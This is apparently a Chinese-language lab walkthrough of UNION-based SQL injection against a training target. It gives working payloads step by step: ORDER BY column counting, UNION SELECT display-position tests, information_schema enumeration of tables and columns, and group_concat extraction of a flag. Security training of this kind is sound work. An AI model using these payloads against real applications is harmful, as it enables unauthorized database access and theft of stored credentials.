SQL注入(2)---- 显错注入
==================================================
注入的基本流程
判断是否存在SQL注入→判断字段数→判断显错位→判断库名→判断表名→判断列(字段)名→寻找详细信息。
以https://hack.zkaq.cn/中某靶场为例:
进靶场此时URL栏为:http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1
1>测试是否存在SQL注入
向任务栏中添加代码:
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1and1=1
页面无反应。
向任务栏中添加代码:
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1and1=2
页面显示异常。
2>判断字段数
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 1
显示页面正常。
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 2
显示页面正常。
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 3
显示页面正常。
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 order by 4
显示页面异常。
所以可以得出有3个字段。
3>判断显错位
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1 union select 1,2,3
如图所示画面
可以判断出有两个回显点(显错位)为2、3位,1位为补充为继续下一步测试。
4>判断库名
http://inject2.lab.aqlab.cn/Pass-01/index.php?id=1%20union%20select%201,database(),3
得出如图所示页面
5>判断表名
union select 1, 2,table_name from information_schema.tables where table_schema = database()
(将语句放在2处测试出现异常页面,在3处测试正常。)
得出如图所示页面
6>判断字段名
从上一步中得到了表名为user,进行下一步测试
and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘user’ limit 0,1
得出如图所示页面
通过改变limit0/1/2,1得出user表中有id、username、password三个字段
没有flag字段,所以寻找其他表。
如何得出其他的表
在查询表名语句后面加 limit 0,1 从第一条数据开始输出,输出一条结果
通过改变limit0/1/2/3…,1直到出现异常页面,获取所有的表名。
该库所有的表名分别为:【error_flag】【user】
如何得出所有的表名
union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) 查询error_flag表中的字段
and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 0,1
and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 1,1
找到了flag字段
and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 2,1
显示异常页面故这张表只有【id】、【flag】两个字段
7>寻找详细信息
得知了库名、表名、字段名以及他们的位置关系通过下列语句可得出flag
and 1=2 union select 1,2,flag from error_flag limit 0,1
得出所有flag(中的数据)
and 1=2 union select 1,2,(select group_concat(flag) from error_flag)
Tips
关于如何判断是否存在SQL注入
判断是否存在SQL注入有许多许多种方法,这里使用的是判断显错注入的方式。